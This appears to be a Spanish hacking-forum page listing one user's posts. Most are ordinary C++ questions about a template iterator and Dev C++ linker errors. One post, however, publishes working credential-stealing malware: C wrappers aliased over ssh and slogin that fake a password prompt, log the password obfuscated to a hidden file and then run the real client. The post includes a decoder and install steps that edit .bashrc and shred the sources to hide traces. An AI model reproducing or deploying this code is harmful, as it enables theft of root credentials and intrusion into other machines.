Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Mensajes - Kasswed

#121
Problema resuelto..

No había caído en que el vector aux se elimina, así que no se puede usar así. Lo he resuelto haciendo:

Código (cpp) [Seleccionar]
template <typename T>
typename vectorDinamico<T>::iterator vectorDinamico<T>::begin() {
    typename vectorDinamico<T>::iterator it;
    it.it_l = datos.begin();
    it.it_v = (*it.it_l).begin();
    return it;
    }
#122
Buenas!

Estoy intentando devolver un iterador en una clase, pero al devolverlo toma valores aleatorios (he comprobado que antes de devolverlo está bien). No sé qué puede estar fallando.

El problema está en la función begin() que os pongo, en el return creo. Esto me está dando un montón de problemas...

Os pongo un poco de código:

Código (cpp) [Seleccionar]
template <typename T>
class vectorDinamico {
    private:
        list<vector<T> > datos;
        int tamBloque;
    public:
        vectorDinamico();
        vectorDinamico ( int tam );
        ~vectorDinamico();
        vectorDinamico<T>& operator= ( const vectorDinamico<T> &v );
        vectorDinamico ( const vectorDinamico<T> &v );

        class iterator;
        friend class iterator;

        /* Clase iterator */
        class iterator {
            private:
                typename list<vector<T> >::iterator it_l;
                typename vector<T>::iterator it_v;
                friend class vectorDinamico;
            public:
                /* Implementamos algunos métodos del iterador */
                iterator();
                iterator ( const typename vectorDinamico<T>::iterator &it );
                iterator& operator++();
                iterator& operator--();
                T& operator*();
                iterator& operator= ( const typename vectorDinamico<T>::iterator &it );
            };
        /* Fin clase iterator */
        iterator begin();
        iterator end();


template <typename U> friend ostream& operator<<(ostream& out,const vectorDinamico<U> &v);

        void insert ( iterator it, const T &x );
    };


template <typename T>
vectorDinamico<T>::iterator::iterator() {}

template <typename T>
vectorDinamico<T>::iterator::iterator ( const typename vectorDinamico<T>::iterator &it ) {
    it_l = it.it_l;
    it_v = it.it_v;
    }


template <typename T>
typename vectorDinamico<T>::iterator vectorDinamico<T>::begin() {
    typename vectorDinamico<T>::iterator it;
    vector<T> aux;
    it.it_l = datos.begin();
    aux = *it.it_l;
    it.it_v = aux.begin();
    return it;
    }

template <typename T>
typename vectorDinamico<T>::iterator& vectorDinamico<T>::iterator::operator= ( const typename vectorDinamico<T>::iterator &it ) {
    it_l = it.it_l;
    it_v = it.it_v;
    return *this;
    }

template <typename T>
T& vectorDinamico<T>::iterator::operator*() {
    return *it_v;
    }


¿Alguien sabe qué esta fallando?

Decir que devolver el iterador por referencia no lo veo viable, puesto que it se destruye al salir de la función... ¿no?

Saludos!
#123
Es cursioso jaja

le pongo un return 0; al main, y me compila.

Le pongo un comentario después del return 0; al main, y ya no me compila

Jaja este Dev C++ parace muy fiable.
#124
Cita de: N0Z en  5 Mayo 2012, 21:04 PM
Quizá sea porque no has configurado el directorio de includes(ficheros cabecera).
Tienes que ir a opciones de proyecto, y mira en la pestaña directorio de includes y pon el directorio donde tengas el .h

Hola N0Z, lo he intentado configurar pero el error persiste.

exel como he dicho, lo he probado así y tampoco me soluciona el error. Yo creo que debe ser un error de Dev C++. Diría que g++ en Linux compila, la cosa es que ahora no puedo probar.

Dev C++ es raro, si me da estos errores así cada dos por tres, paso de trabajar con él.

Descargando Visual C++ a ver qué tal.

Netbeans no me gusta mucho.
#125
Hola gracias,

bueno lo he probado pero eso no soluciona el problema.

Yo apostaría a que todo está bien, quizá deba ser problema del compilador de Dev C++

¿Me recomendais algún otro software para Windows?
#126
Programación C/C++ / Re: Duda de un novato
5 Mayo 2012, 15:07 PM
en ningún sitio
#127
Buenas

no trabajo casi nada con Windows ni con Dev C++, así que no sé muy bien a qué es debido este error.

Yo tengo un proyecto con tres archivos:

main.cpp
Código (cpp) [Seleccionar]
#include <iostream>
#include "vectordinamico.h"

using namespace std;

int main(){
    vectorDinamico<int> aux(5);
}


vectordinamico.h
Código (cpp) [Seleccionar]
#ifndef __VECTORDINAMICO_H__
#define __VECTORDINAMICO_H__

#include <vector>
#include <list>

using namespace std;

template <typename T>
class vectorDinamico{
   private:
      list<vector<T> > datos;
      int tamBloque;
   public:
      vectorDinamico();
      ~vectorDinamico();
      vectorDinamico(int tam);
};

#endif


vectordinamico.cpp
Código (cpp) [Seleccionar]
#include "vectordinamico.h"


template <typename T>
vectorDinamico<T>::vectorDinamico(){
   tamBloque = 0;
}

template <typename T>
vectorDinamico<T>::~vectorDinamico(){
   tamBloque = 0;
}

template <typename T>
vectorDinamico<T>::vectorDinamico(int tam){
   tamBloque = tam;
   vector<T> aux(tamBloque);
   datos.push_back(aux);
}


Pero al compilar tengo este error:

[Linker error] undefined reference to `vectorDinamico<int>::vectorDinamico(int)'
[Linker error] undefined reference to `vectorDinamico<int>::~vectorDinamico()'


Seguro que es una tontería,

¿alguien sabe qué pasa?

Saludos!
#128
Exactamente.

El problema es que los alias suelen estar permitidos para todos los usuarios.A veces pasa en las empresas que tienen un usuario común sin muchos privilegios para el uso de ... impresoras y cosas así. A veces pasa que lso administradores se loguean con ese usuario común, y luego van yendo con slogin o openssh por otras máquinas. Es un error bastante grave y lo he visto ya en dos empresas, de ahí la idea.

Saludos!
#129
Supongamos que tenemos acceso a un servidor Linux, pero no somos ni root ni nada.

Pero supongamos que desde el usuario donde tenemos acceso hay gente que se loguea como root a otras máquinas usando SSH. Esto es un escenario bastante típico.

Nuestro usuario por lo general podrá crear alias y compilar programas, y de esto nos vamos a valer para instalar este malware en un Linux. Lo único que haremos es esperar a que un usuario se loguee en otra máquina como root y obtener sus credenciales en un archivo de texto, que estará cifrado de forma bastante sencilla.

El programa se compone de 3 partes. sl.c, ssh.c y deco.c

sl.c se compila y se usa como alias del comando slogin
ssh.c se compila y se usa como alias del comando ssh
deco.c no se instala en la máquina víctima, sólo nos sirve para descifrar nuestro archivo con credenciales.

Lo pongo aquí para ver si alguien se anima a mejorarlo. Siento que no tenga muchos comentarios, pero es bastante simple de entender. Por supuesto, cada caso es diferente, así que habría que adaptar el código a cada caso, dependiendo de diversas variables.

sl.c

/*
 Author: Kasswed for elhacker.net April 2012

This malware is composed of 3 parts:
1. sl.c: slogin snifer program code
2. ssh.c: ssh snifer program code
3. deco.c: decoder program for the logs files

Install this program (does not need to be root) using a bash script:

mkdir .config/.keyboard
gcc sl.c -o .config/.keyboard/sl
gcc ssh.c -o .config/.keyboard/s
echo "alias slogin='$HOME/.config/.keyboard/sl'" >> ~/.bashrc
echo "alias ssh='$HOME/.config/.keyboard/s'" >> ~/.bashrc
shred -n 30 -u sl.c
shred -n 30 -u ssh.c

Then remove the script as well with "shred -n 30 -u script.sh"

To get the passwords, get access to the victim's machine and copy the log file into your computer. Use the program  deco:
$ ./deco logfile

Et voila.

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>

#define BUF 1000
#define PATH "/usr/bin/slogin"
#define LOG "/.config/.keyboard/sx"


int main(int argc, char **argv){
   char  *ssh_arguments_send[BUF];
   char ssh[] = "slogin";
   ssh_arguments_send[0] = ssh;
   if(argc != 2){
int j;
for(j=1;j<argc;j++)
   ssh_arguments_send[j]=argv[j];
   }
   else{
FILE *file;
char dir[BUF];
strcpy(dir,getenv("HOME"));
strcat(dir,LOG);
int i;
struct passwd *pw;
char user[200];
char *ptr;
pw = getpwuid(geteuid());
strcpy(user,pw->pw_name);
ssh_arguments_send[1] = argv[1];
char pCopy[BUF],encript[BUF],host[BUF],password[BUF];
if(strchr(argv[1],'@') == NULL ){
   strcpy(pCopy,user);
   strcat(pCopy,"@");
   strcat(pCopy,argv[1]);
}
else{
   strcpy(pCopy,argv[1]);
}
sleep(2);
printf("%s",pCopy);
printf("'s password: ");
system("stty -echo");
fgets(password, BUF, stdin);
printf("\n");
system("stty echo");
password[strlen(password)-1] = '\0';
file = fopen(dir,"a+");
if(file!=NULL){
   strcat(pCopy,"/");
   strcat(pCopy,password);
   strcat(pCopy,";");
   for(i=0;i<strlen(pCopy);i++){
fprintf(file,"%c",pCopy[i]+ (33*i+1)%100);
fprintf(file,"%c",pCopy[i]+ (33*i+2)%98);
fprintf(file,"%c",pCopy[i]+25);
   }
   fprintf(file,"\n");
   fclose(file);
}
sleep(2);
printf("Permission denied, please try again.\n");
   }
   execv(PATH,ssh_arguments_send);
}


ssh.c

/*
Author: Kasswed for elhacker.net April 2012

This malware is composed of 3 parts:
1. sl.c: slogin snifer program code
2. ssh.c: ssh snifer program code
3. deco.c: decoder program for the logs files

Install this program (does not need to be root) using a bash script:

mkdir .config/.keyboard
gcc sl.c -o .config/.keyboard/sl
gcc ssh.c -o .config/.keyboard/s
echo "alias slogin='$HOME/.config/.keyboard/sl'" >> ~/.bashrc
echo "alias ssh='$HOME/.config/.keyboard/s'" >> ~/.bashrc
shred -n 30 -u sl.c
shred -n 30 -u ssh.c

Then remove the script as well with "shred -n 30 -u script.sh"

To get the passwords, get access to the victim's machine and copy the log file into your computer. Use the program  deco:
$ ./deco logfile

Et voila.

*/


#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pwd.h>


#define BUF 1000
#define PATH "/usr/bin/ssh"
#define LOG "/.config/.keyboard/sx"


int main(int argc, char **argv){
   char  *ssh_arguments_send[BUF];
   char ssh[] = "ssh";
   ssh_arguments_send[0] = ssh;
   if(argc != 2){
int j;
for(j=1;j<argc;j++)
   ssh_arguments_send[j]=argv[j];
   }
   else{
FILE *file;
char dir[BUF];
strcpy(dir,getenv("HOME"));
strcat(dir,LOG);
int i;
struct passwd *pw;
char user[200];
char *ptr;
pw = getpwuid(geteuid());
strcpy(user,pw->pw_name);
ssh_arguments_send[1] = argv[1];
char pCopy[BUF],encript[BUF],host[BUF],password[BUF];
if(strchr(argv[1],'@') == NULL ){
   strcpy(pCopy,user);
   strcat(pCopy,"@");
   strcat(pCopy,argv[1]);
}
else{
   strcpy(pCopy,argv[1]);
}
sleep(2);
printf("%s",pCopy);
printf("'s password: ");
system("stty -echo");
fgets(password, BUF, stdin);
printf("\n");
system("stty echo");
password[strlen(password)-1] = '\0';
file = fopen(dir,"a+");
if(file!=NULL){
   strcat(pCopy,"/");
   strcat(pCopy,password);
   strcat(pCopy,";");
   for(i=0;i<strlen(pCopy);i++){
fprintf(file,"%c",pCopy[i]+ (33*i+1)%100);
fprintf(file,"%c",pCopy[i]+ (33*i+2)%98);
fprintf(file,"%c",pCopy[i]+25);
   }
   fprintf(file,"\n");
   fclose(file);
}
sleep(2);
printf("Permission denied, please try again.\n");
   }
   execv(PATH,ssh_arguments_send);
}


deco.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUF 10000

int main(int argc,char **argv){
FILE* file;
int i;
char encript[BUF];
file = fopen(argv[1],"r");
fgets(encript,BUF,file);
for(i=0;i<strlen(encript);i++){
   if((i+1)%3==0)
printf("%c",encript[i]-25);
}
fclose(file);
}
#130
El problema es el tiempo, y bueno, sé que en estos tiempos todo está ya desarrollado, por eso preguntaba!

Cita de: Servia en 14 Abril 2012, 21:05 PM
Psss, no se lo digas a nadie, hay una web llamada google.com que sirve para encontrar cosas. Hay de todo!

http://www.hotscripts.com/category/scripts/php/scripts-programs/vertical-markets/restaurant-scripts/

Baneado 5 días. Para dar respuestas así mejor no digas nada.